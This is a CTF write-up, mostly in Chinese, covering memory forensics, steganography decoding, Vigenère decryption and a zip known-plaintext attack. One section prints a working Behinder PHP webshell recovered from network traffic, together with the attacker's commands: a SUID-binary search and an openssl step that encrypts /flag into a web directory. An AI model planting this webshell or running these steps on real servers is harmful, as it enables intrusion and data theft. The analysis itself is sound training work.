py -2 vol.py -f D:\OneDrive\Desktop\memory.raw --profile=Win7SP1x64 imageinfo

          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (D:\OneDrive\Desktop\memory.raw)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80003ff70a0L
          Number of Processors : 2
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80003ff8d00L
                KPCR for CPU 1 : 0xfffff880009ef000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2025-10-02 17:19:03 UTC+0000
     Image local date and time : 2025-10-03 01:19:03 +0800

# 查看进程

py -2 vol.py -f D:\OneDrive\Desktop\memory.raw --profile=Win7SP1x64 pslist

Offset(V)          Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                          Exit 
------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
0xfffffa800905c840 System                    4      0     90      556 ------      0 2025-10-02 15:07:27 UTC+0000        
0xfffffa800a263b30 smss.exe                232      4      3       33 ------      0 2025-10-02 15:07:27 UTC+0000        
0xfffffa800aff3860 csrss.exe               304    288      9      444      0      0 2025-10-02 15:07:28 UTC+0000        
0xfffffa800b55cb30 wininit.exe             344    288      3       76      0      0 2025-10-02 15:07:28 UTC+0000        
0xfffffa8009068060 csrss.exe               364    352     10      283      1      0 2025-10-02 15:07:29 UTC+0000        
0xfffffa800b057060 winlogon.exe            400    352      3      117      1      0 2025-10-02 15:07:29 UTC+0000        
0xfffffa800b079440 services.exe            444    344     12      215      0      0 2025-10-02 15:07:29 UTC+0000        
0xfffffa800b093b30 lsass.exe               460    344      8      877      0      0 2025-10-02 15:07:29 UTC+0000        
0xfffffa800c04d190 lsm.exe                 468    344     11      238      0      0 2025-10-02 15:07:29 UTC+0000        
0xfffffa800b0f2270 svchost.exe             564    444     10      355      0      0 2025-10-02 15:07:29 UTC+0000        
0xfffffa800b182290 svchost.exe             640    444      8      295      0      0 2025-10-02 15:07:29 UTC+0000        
0xfffffa800a8a1350 svchost.exe             724    444     24      613      0      0 2025-10-02 15:07:29 UTC+0000        
0xfffffa800b21c060 svchost.exe             776    444     28      558      0      0 2025-10-02 15:07:29 UTC+0000        
0xfffffa800b23a9e0 svchost.exe             820    444     37     1078      0      0 2025-10-02 15:07:29 UTC+0000        
0xfffffa800b287b30 svchost.exe             944    444     18      506      0      0 2025-10-02 15:07:29 UTC+0000        
0xfffffa800b2bc060 svchost.exe             264    444     22      663      0      0 2025-10-02 15:07:29 UTC+0000        
0xfffffa800b3666d0 spoolsv.exe             532    444     14      580      0      0 2025-10-02 15:07:29 UTC+0000        
0xfffffa800b3816c0 svchost.exe            1048    444     19      313      0      0 2025-10-02 15:07:29 UTC+0000        
0xfffffa800b44f420 taskhost.exe           1232    444      9      222      1      0 2025-10-02 15:07:29 UTC+0000        
0xfffffa800b4e09b0 dwm.exe                1428    776      3       85      1      0 2025-10-02 15:07:30 UTC+0000        
0xfffffa800b4eeb30 explorer.exe           1488   1392     34     1145      1      0 2025-10-02 15:07:30 UTC+0000        
0xfffffa800af3eb30 SearchIndexer.         1568    444     13      683      0      0 2025-10-02 15:07:36 UTC+0000        
0xfffffa800b76a060 wmpnetwk.exe           1128    444     13      416      0      0 2025-10-02 15:07:36 UTC+0000        
0xfffffa800b6b6b30 svchost.exe            1516    444     25      350      0      0 2025-10-02 15:07:37 UTC+0000        
0xfffffa800b6eb8c0 svchost.exe            2392    444     10      367      0      0 2025-10-02 15:07:37 UTC+0000        
0xfffffa800b84b060 sppsvc.exe             1496    444      4      151      0      0 2025-10-02 15:09:31 UTC+0000        
0xfffffa800b8a8960 svchost.exe            1060    444     13      317      0      0 2025-10-02 15:09:31 UTC+0000        
0xfffffa800a145b30 svchost.exe            1304    444      7      107      0      0 2025-10-02 15:11:00 UTC+0000        
0xfffffa800a1ca630 cmd.exe                2020   1488      1       22      1      0 2025-10-02 15:23:50 UTC+0000        
0xfffffa80091b6b30 conhost.exe            2620    364      2       59      1      0 2025-10-02 15:23:50 UTC+0000        
0xfffffa800a23d210 csrss.exe              2516    528      7       77      3      0 2025-10-02 16:48:55 UTC+0000        
0xfffffa800a273060 winlogon.exe           1252    528      4       98      3      0 2025-10-02 16:48:55 UTC+0000        
0xfffffa800a2cdb30 LogonUI.exe             716   1252      7      186      3      0 2025-10-02 16:48:55 UTC+0000        
0xfffffa800a234b30 rdpclip.exe            3048    264      8      169      1      0 2025-10-02 16:48:56 UTC+0000        
0xfffffa80091e5b30 wordpad.exe            2024   1488      6      203      1      0 2025-10-02 17:16:30 UTC+0000        
0xfffffa800b3f7a70 mspaint.exe            2624   1488      6      127      1      0 2025-10-02 17:16:41 UTC+0000        
0xfffffa800a193360 SearchProtocol         2204   1568      8      277      0      0 2025-10-02 17:18:30 UTC+0000        
0xfffffa800b1d79c0 SearchFilterHo         1836   1568      5       93      0      0 2025-10-02 17:18:30 UTC+0000        
0xfffffa800a172060 audiodg.exe            1860    724      7      128      0      0 2025-10-02 17:18:44 UTC+0000        
0xfffffa800b5fe060 DumpIt.exe             2716   2020      1       25      1      1 2025-10-02 17:19:00 UTC+0000 


# 查看命令行历史

py -2 vol.py -f D:\OneDrive\Desktop\memory.raw --profile=Win7SP1x64 cmdscan

**************************************************
CommandProcess: conhost.exe Pid: 2620
CommandHistory: 0x33c120 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 11 LastAdded: 10 LastDisplayed: 8
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x64
Cmd #0 @ 0x3279d0: cd ../../Users/C3ngH
Cmd #1 @ 0x3122a0: cd Desktop
Cmd #2 @ 0x32c460: c;s
Cmd #3 @ 0x32c470: cls
Cmd #4 @ 0x3122c0: DumpIt.exe
Cmd #5 @ 0x32c480: cls
Cmd #6 @ 0x3123a0: DumpIt.exe
Cmd #7 @ 0x32c490: cls
Cmd #8 @ 0x312460: DumpIt.exe
Cmd #9 @ 0x312360: ipconfig
Cmd #10 @ 0x3122e0: DumpIt.exe
**************************************************
CommandProcess: conhost.exe Pid: 2620
CommandHistory: 0x33c300 Application: DumpIt.exe Flags: Allocated
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x8c
Cmd #25 @ 0x342880: +
Cmd #26 @ 0x33e720: 4

查看文件,发现桌面有关键文件:hint.txt和flag.zip

# 查看文件

py -2 vol.py -f D:\OneDrive\Desktop\memory.raw --profile=Win7SP1x64 filescan | findstr /i ".zip"

Volatility Foundation Volatility Framework 2.6.1
0x0000000029c0bab0      4      0 R--r-d \Device\HarddiskVolume1\Windows\System32\zipfldr.dll
0x000000002b10e070     16      0 R--r-- \Device\HarddiskVolume1\Users\C3ngH\Desktop\flag.zip

# 查看桌面文件

E:\myCTFTools\MiscTools\volatility-master>py -2 vol.py -f D:\OneDrive\Desktop\memory.raw --profile=Win7SP1x64 filescan | grep "Desktop"
Volatility Foundation Volatility Framework 2.6.1
0x000000000d612400     16      0 R--rwd \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\Start Menu\Programs\Games\Desktop.ini
0x000000001bf5d590     16      0 R--rwd \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Desktop.ini
0x00000000292efcc0     16      0 R--rwd \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini
0x0000000029321680     16      0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Landscapes\Desktop.ini
0x000000002939b6e0     16      0 R--rwd \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini
0x0000000029457910     15      0 R--r-- \Device\HarddiskVolume1\Users\C3ngH\Desktop\hint.txt
0x0000000029611070      2      1 R--rwd \Device\HarddiskVolume1\Users\C3ngH\Desktop
0x00000000296396f0     16      0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Characters\Desktop.ini
0x00000000296c5f20     16      0 R--rwd \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Tablet PC\Desktop.ini
0x00000000297af600      2      1 R--rwd \Device\HarddiskVolume1\Users\Public\Desktop
0x0000000029899580      2      0 R--rwd \Device\HarddiskVolume1\Users\C3ngH\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini
0x00000000298df5c0     16      0 R--rwd \Device\HarddiskVolume1\Users\C3ngH\AppData\Roaming\Microsoft\Windows\SendTo\Desktop.ini
0x0000000029d8a730     16      0 R--rwd \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini
0x0000000029f04c90      2      1 R--rwd \Device\HarddiskVolume1\Users\C3ngH\Desktop
0x000000002a639890      1      1 R--rw- \Device\HarddiskVolume1\Users\C3ngH\Desktop
0x000000002a6626d0     15      0 R--rwd \Device\HarddiskVolume1\Users\C3ngH\Desktop\DumpIt.exe
0x000000002a6796c0      3      0 R--r-d \Device\HarddiskVolume1\Users\C3ngH\Desktop\DumpIt.exe
0x000000002a946a00      2      0 R--rwd \Device\HarddiskVolume1\Users\C3ngH\Links\Desktop.lnk
0x000000002a969070      1      1 RW-rw- \Device\HarddiskVolume1\Users\C3ngH\Desktop\WIN-M19B7LFPBON-20251002-171900.raw
0x000000002a9f4b60     14      0 R--rwd \Device\HarddiskVolume1\Users\Public\Desktop\desktop.ini
0x000000002a9fc980      2      0 R--rwd \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Remote Desktop Connection.lnk
0x000000002aa6da20     16      0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Nature\Desktop.ini
0x000000002b041780     16      0 R--rwd \Device\HarddiskVolume1\Users\C3ngH\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini
0x000000002b077f20     16      0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Scenes\Desktop.ini
0x000000002b091620     15      0 R--rwd \Device\HarddiskVolume1\Users\C3ngH\Desktop\desktop.ini
0x000000002b099c10     16      0 R--rwd \Device\HarddiskVolume1\Windows\Web\Wallpaper\Architecture\Desktop.ini
0x000000002b0d93f0     16      0 R--rwd \Device\HarddiskVolume1\Users\C3ngH\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini
0x000000002b10e070     16      0 R--r-- \Device\HarddiskVolume1\Users\C3ngH\Desktop\flag.zip
0x000000002b11b8f0      2      0 R--rwd \Device\HarddiskVolume1\Users\C3ngH\Desktop\DumpIt.exe
0x000000002b9103c0      1      1 R--rw- \Device\HarddiskVolume1\Users\C3ngH\Desktop
0x000000002b918320      2      1 R--rwd \Device\HarddiskVolume1\Users\Public\Desktop
0x000000002b9fe7f0      2      0 R--rwd \Device\HarddiskVolume1\Users\C3ngH\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Desktop.ini



# 提取flag.zip
py -2 vol.py -f D:\OneDrive\Desktop\memory.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000002b10e070 -D ./

# 提取hint.txt
py -2 vol.py -f D:\OneDrive\Desktop\memory.raw --profile=Win7SP1x64 dumpfiles -Q 0x0000000029457910 -D ./

flag.zip需要密码,

hint.txt:

*画图*真好用啊,可以把一些我记不住的密码画出来,还不容易被其他人找到…
所以我每次都会新建一个和屏幕分辨率一样大小的画布然后把密码画下来嘻嘻~

猜测在画图中有密码.mspaint.exe(画图),用插件memdump导出 dmp 文件,然后改后缀为data,用GIMP2来调整.

py -2 vol.py -f D:\OneDrive\Desktop\memory.raw --profile=Win7SP1x64 memdump -p 2624 -D ./

这里有个坑点,GIMP3.0版本不好用,没有位移的变化实时显示,2.0才是最好用的.

tmpA332

解码之后为:flag{1z_volatility_F0r3ns1c5}

爱茂TV

> qemu-img info 浩茂的计算机.vmdk
image: 浩茂的计算机.vmdk
file format: vmdk
virtual size: 20 GiB (21474836480 bytes)
disk size: 4.67 GiB
cluster_size: 65536
Format specific information:
    cid: 2823408070
    parent cid: 4294967295
    create type: monolithicSparse
    extents:
        [0]:
            virtual size: 21474836480
            filename: 浩茂的计算机.vmdk
            cluster size: 65536
            format:
Child node '/file':
    filename: 浩茂的计算机.vmdk
    protocol type: file
    file length: 4.67 GiB (5016780800 bytes)
    disk size: 4.67 GiB
NekoChecker [0] > show 0
Info: 题组: Forensics - 爱茂TV (已完成 0/10)
Info: [-] 0. 机主使用的用户名
Info: [.] 格式:形如 flag{114514} 的字符串,全部小写
Info: [-] 1. 机主用户信息中隐藏的 Flag(按原样提交获取到的内容)
Info: [-] 2. 机主最近自行安装字体的家族名称
Info: [.] 格式:形如 flag{114514} 的字符串,全部小写
Info: [-] 3. 机主使用的 FTP 传输工具(全小写不含扩展名)
Info: [-] 4. 机主使用这个工具登录了一个外网服务器,请找出其 IP 地址与密码
Info: [.] 格式:flag{IP地址$密码},形如 flag{114.514.19.19$810}
Info: [-] 5. 机主对外通信使用的邮箱地址
Info: [-] 6. "加速器安装程序"的 MD5 值(全小写)
Info: [-] 7. "加速器安装程序"释放的文件中,有一个是端口扫描程序经重命名而成,请找出其文件名与原程序名。
Info: [.] 格式:flag{文件名#原程序名}
Info: [-] 8. "加速器安装程序"中的哪一行命令导致机主无法正常登录图形界面
Info: [.] 格式:flag{一行内的完整命令}
Info: [-] 9. Shell 无法使用是由于什么文件被修改了?机主依然能使用哪些 Shell 登录(按字母序列出可执行文件名)?
Info: [.] 格式:flag{文件#shellA#shellB#...},使用#分隔
answer:
0. flag{hajimi}
1. flag{I_l0v3_M4od1e}
2. flag{harmonyos sans v3}
flag{vmwaretools}

《关于我穿越到CTF的异世界这档事:序》

参考:https://www.tr0y.wang/2017/06/14/Base64steg/#解密

d='''VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXTgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDT==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXfgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDf==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXUgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDU==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXTgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDT==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXVgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDV==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXUgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDU==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXUgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDU==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXWgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDW==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXWgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDW==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXdgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDd==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXWgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDW==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXZgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDZ==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXXgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDX==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXTgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDT==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXWgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDW==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXTgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDT==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXQgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYu
'''
e=d.splitlines()
binstr=""
base64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
for i in e :
    if i.find("==")>0:
        temp=bin((base64.find(i[-3])&15))[2:]
    #取倒数第3个字符,在base64找到对应的索引数(就是编码数),取低4位,再转换为二进制字符
        binstr=binstr + "0"*(4-len(temp))+temp #二进制字符补高位0后,连接字符到binstr
    elif i.find("=")>0:
        temp=bin((base64.find(i[-2])&3))[2:] #取倒数第2个字符,在base64找到对应的索引数(就是编码数),取低2位,再转换为二进制字符
        binstr=binstr + "0"*(2-len(temp))+temp #二进制字符补高位0后,连接字符到binstr
str=""
for i in range(0,len(binstr),8):
    str=str+chr(int(binstr[i:i+8],2)) #从左到右,每取8位转换为ascii字符,连接字符到字符串
print(str) #结果是 Base_sixty_four_point_five转换为


"""
?CTFmisc
"""

根据文件名猜测结果为指定的base8字母表,

按照base编码规则进行解码:

  • 去掉=号
  • 按map全部替换为二进制串
  • 每8位对应ascii字符进行解码。

解出来发现是base64串,直接解即可。

AI写出脚本:

import base64

secret = '''Tsmssic?FT?ii?sFFi?iTimCTC?mcCmsTiTmmCCCFs?sCCiiTFTcmCmFTCscFicTTs?ciC?TFFTim?s?TTmsmCmFCmmiFCmsTFTimCCsFCmiTicTT?msFCTTTs?c??ssFCmi?mciCcT====='''

# 1) 去掉 '='
secret = secret.replace('=', '')

# 2) 将自定义字母表 -> 0..7 -> 3比特
# 你给的顺序(1..8)减一后作为 0..7:
# ?:0, C:1, T:2, F:3, m:4, i:5, s:6, c:7
to_bits = {'?':'000','C':'001','T':'010','F':'011','m':'100','i':'101','s':'110','c':'111'}

bitstream = ''.join(to_bits[ch] for ch in secret)

# 3) 丢弃末尾无法凑满 8 的比特(常见做法)
bitstream = bitstream[:len(bitstream) - (len(bitstream) % 8)]

# 4) 每 8 比特 -> 字节,再解码为文本
raw = bytes(int(bitstream[i:i+8], 2) for i in range(0, len(bitstream), 8))
print(raw.decode())          # 中间结果(看起来像 Base64)

# 5) 观察是 Base64,再解一次得到明文
print(base64.b64decode(raw).decode())

'''
flag{Th3_Pr1nc1pl3_0f_Base_1s_S0_Ezz}
'''

俱乐部之旅(1) - 邀请函

压缩包注释中给了开头密码,后面需要爆破。爆破密码为:c5im8467,揭开后是一个word文档,但刚打开就报错,猜测是给里面赛东西了,zip解压缩之后拿到部分flag:&Welc0me_t0_th3_c5im_C1ub}

以及core.xml:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dcterms:created xsi:type="dcterms:W3CDTF">2025-08-04T11:47:00Z</dcterms:created><dc:creator>2hi5hu</dc:creator><dc:description>11001101101100110000111001111111011101011101100001110010110010010111110110101111010001100111100111101111111010011110011101111101100011111010</dc:description><cp:keywords>do u know cyberchef?</cp:keywords><cp:lastModifiedBy>炙恕qwq</cp:lastModifiedBy><dcterms:modified xsi:type="dcterms:W3CDTF">2025-08-13T09:59:15Z</dcterms:modified><dc:title>标准ASCII码使用‌7位二进制数‌表示字符</dc:title></cp:coreProperties>
ct = """11001101101100110000111001111111011101011101100001110010110010010111110110101111010001100111100111101111111010011110011101111101100011111010"""



def dec(ct):
    out = []
    for i in range(0, len(ct), 7):
        out_char = int(ct[i:i+7], 2)
        out_char = chr(out_char)
        out.append(out_char)
    return ''.join(out)

print(dec(ct))

脚本处理一下得到:flag{W0rd_5t3g_is_1z

布豪有黑客(一)

密码是:?CTF2025

解开压缩包即可。

文化木的侦探委托(一)

改宽高看到提示:

image-20251004194844773

LSB隐写:

tmp6D0F

维吉尼亚朋友的来信

Au打开看到key,但不知道啥的key,搜了一下deepsound,原来是个隐写工具。

image-20251004200410491

deepsound解出一个txt:

Gieg fsq sulirs,
  Osfprpi xd lvy gkumpaaba jruph dx QNS!Wkmw xkb’n wxvx e vsay—vw’v e tasmaerxrh lzslr fxvmdkwnl phixh uvuyohrkt, ovyeh hzigq zcah rj gdvs, yihuc lxvrya foyi, pfr yihuc tjrnfr krphh s gypuhx apahcaj ws ft mbwbyhvis. Zslr, bry’pa khlrwfl cdmf gvqg, pipjb nb vhi tplhyeqv mr rzoif, dqh xjjb "C qrq’x ocgk" cawr "M jxyilrg lx sjl."
  Ria’w zsvgq wz gklrkh xsyy ryivlzsfzlqk ei xwlfw. Zi’zt szf ohhr xwwfy—fwdvmcy on n susfawa, mpudxgwaba bxu lipvg, qbqgivxfu quhui xd khuew. Eyx izon’f wki qpyww bi lx: ikwfs zlvxezw wm n ohwwdf, sprub wqpdz qvq d vyhz. Ohq bry’vt fcn norri. Izwm prpqycahs gkumztk ch propeqgfuglrr, sc kvuelqk mswom, nqg pmulwht hdgl dlvye xs.
  Ws sajy vq. Hbtagfy. Rasivxeshg. Dvo ujwgnvrqw. Gtdsvedwi xww hcab ymgigfcrv, drh sgb’n shdv xww gnhpepih. Lvy PWI asgdr cf eumkwlsl jlwl cdm wh vw, drh lw qua’w zemi lc mrh zligw mihu msygfss gdniw ngi.
Zydj mw "umbhl ohxxtj hi lrx". Vibwavru zvee lvy sodk gdfhyaw lr jasu{} uag xwi jfryeolri‘_' ig fycodgi hhowr fkevpuhye' '.

Ehwx lagbrv!

猜测和题目中的维吉尼亚密码有关:
脚本如下:

ct = """Gieg fsq sulirs,
  Osfprpi xd lvy gkumpaaba jruph dx QNS!Wkmw xkb’n wxvx e vsay—vw’v e tasmaerxrh lzslr fxvmdkwnl phixh uvuyohrkt, ovyeh hzigq zcah rj gdvs, yihuc lxvrya foyi, pfr yihuc tjrnfr krphh s gypuhx apahcaj ws ft mbwbyhvis. Zslr, bry’pa khlrwfl cdmf gvqg, pipjb nb vhi tplhyeqv mr rzoif, dqh xjjb "C qrq’x ocgk" cawr "M jxyilrg lx sjl."
  Ria’w zsvgq wz gklrkh xsyy ryivlzsfzlqk ei xwlfw. Zi’zt szf ohhr xwwfy—fwdvmcy on n susfawa, mpudxgwaba bxu lipvg, qbqgivxfu quhui xd khuew. Eyx izon’f wki qpyww bi lx: ikwfs zlvxezw wm n ohwwdf, sprub wqpdz qvq d vyhz. Ohq bry’vt fcn norri. Izwm prpqycahs gkumztk ch propeqgfuglrr, sc kvuelqk mswom, nqg pmulwht hdgl dlvye xs.
  Ws sajy vq. Hbtagfy. Rasivxeshg. Dvo ujwgnvrqw. Gtdsvedwi xww hcab ymgigfcrv, drh sgb’n shdv xww gnhpepih. Lvy PWI asgdr cf eumkwlsl jlwl cdm wh vw, drh lw qua’w zemi lc mrh zligw mihu msygfss gdniw ngi.
Zydj mw "umbhl ohxxtj hi lrx". Vibwavru zvee lvy sodk gdfhyaw lr jasu{} uag xwi jfryeolri‘_' ig fycodgi hhowr fkevpuhye' '.

Ehwx lagbrv!
"""
key = "deepsound"
def dec(ct,key):
    out=[]; ki=0
    for ch in ct:
        if ch.isalpha():
            base = ord('A') if ch.isupper() else ord('a')
            k = ord(key[ki % len(key)].lower()) - 97
            out.append(chr((ord(ch)-base - k) % 26 + base))
            ki+=1
        else:
            out.append(ch)
    return ''.join(out)
print(dec(ct,key))

'''
Dear new friend,
  Welcome to the thrilling world of CTF!This isn’t just a game—it’s a playground where curiosity meets challenge, where every line of code, every hidden clue, and every puzzle holds a secret waiting to be uncovered. Here, you’ll stretch your mind, learn to see patterns in chaos, and turn "I don’t know" into "I figured it out."
  Don’t worry if things feel overwhelming at first. We’ve all been there—staring at a problem, scratching our heads, wondering where to start. But that’s the magic of it: every mistake is a lesson, every small win a rush. And you’re not alone. This community thrives on collaboration, on sharing ideas, and lifting each other up.
  So dive in. Explore. Experiment. Ask questions. Celebrate the tiny victories, and don’t fear the stumbles. The CTF world is brighter with you in it, and we can’t wait to see where your journey takes you.
Flag is "funny letter to you". Remember wrap the flag content in flag{} and use underline‘_' to replace space character' '.

Best wishes!
'''

Week2

俱乐部之旅(2) - 我邮件呢??

流量包提取数据,发现有加密的压缩包,爆破未果。内部有png,尝试明文攻击

94312a78427791addb0d392ed7f48f56

bkcrack-1.8.0-Linux-x86_64/bkcrack -C download.zip -c id_card.png -k 733236fb 6652cac7 8542e0e2 -d 1.png

a8ed5564edd94e4fc0f9f32b8ddff0ea

75ec0c0c77b14d3c4f6edbefa6985690

布豪有黑客(二)

查看http流量发现有段shell.php:

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //........................32...md5.........16........................rebeyond
	$_SESSION['k']=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

一眼冰蝎的加密shell连接脚本,$key="e45e329feb5d925b";

在AES解密之后cmd参数再basse64解密,结果如下:


cd / ;find / -perm -4000 -type f 2>/dev/null

/snap/snapd/21759/usr/lib/snapd/snap-confine
/snap/core20/2318/usr/bin/chfn
/snap/core20/2318/usr/bin/chsh
/snap/core20/2318/usr/bin/gpasswd
/snap/core20/2318/usr/bin/mount
/snap/core20/2318/usr/bin/newgrp
/snap/core20/2318/usr/bin/passwd
/snap/core20/2318/usr/bin/su
/snap/core20/2318/usr/bin/sudo
/snap/core20/2318/usr/bin/umount
/snap/core20/2318/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2318/usr/lib/openssh/ssh-keysign
/snap/core22/2045/usr/bin/chfn
/snap/core22/2045/usr/bin/chsh
/snap/core22/2045/usr/bin/gpasswd
/snap/core22/2045/usr/bin/mount
/snap/core22/2045/usr/bin/newgrp
/snap/core22/2045/usr/bin/passwd
/snap/core22/2045/usr/bin/su
/snap/core22/2045/usr/bin/sudo
/snap/core22/2045/usr/bin/umount
/snap/core22/2045/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core22/2045/usr/lib/openssh/ssh-keysign
/snap/core22/2045/usr/libexec/polkit-agent-helper-1
/usr/bin/mount
/usr/bin/sudo
/usr/bin/openssl
/usr/bin/su
/usr/bin/fusermount3
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/chsh
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1


cd / ;openssl enc -des3 -salt -k W3lc0me2m1sc -in /flag -out /xp/www/week2/uploads/flag_decrypted.zip



可以看到用了SUID提权,然后对flag进行了加密,加密后压缩包可提取,

流量包提取flag_decrypted.zip,并解密:

openssl enc -d -des3 -salt -k W3lc0me2m1sc \
    -in flag_decrypted.zip -out flag.txt
flag{1z_Beh1nd3r_Web5he1L_Ne7w0rk_Tr4ff1c}

破碎的拼图

系统日志片段
===============

[2024-03-15 14:22:31] 文件处理任务开始
[2024-03-15 14:22:45] 执行分卷压缩: flag.doc -> 3个部分
[2024-03-15 14:23:12] 文件重命名操作完成
[2024-03-15 14:23:28] 调用隐写工具: st*gh*d*
[2024-03-15 14:23:35] 密码验证: 使用赛事标识符
[2024-03-15 14:23:41] 载体文件: image.jpg
[2024-03-15 14:23:55] 任务完成,文件已安全存储

---
配置信息:

密码构成: [赛事标识] = ?CTF

---
注意事项:
- 分卷文件顺序可能被打乱
- 隐写内容需要正确密码提取
- 所有文件类型以实际为准

最后访问时间: 2024-03-15 14:24:00

工具应该是steghide,密钥为?CTF,使用:

/mnt/d/OneDrive/Desktop/broken_flag ❯ steghide info image.jpg                                                  17:09:37
"image.jpg":
  format: jpeg
  capacity: 3.7 KB
Try to get information about embedded data ? (y/n) y
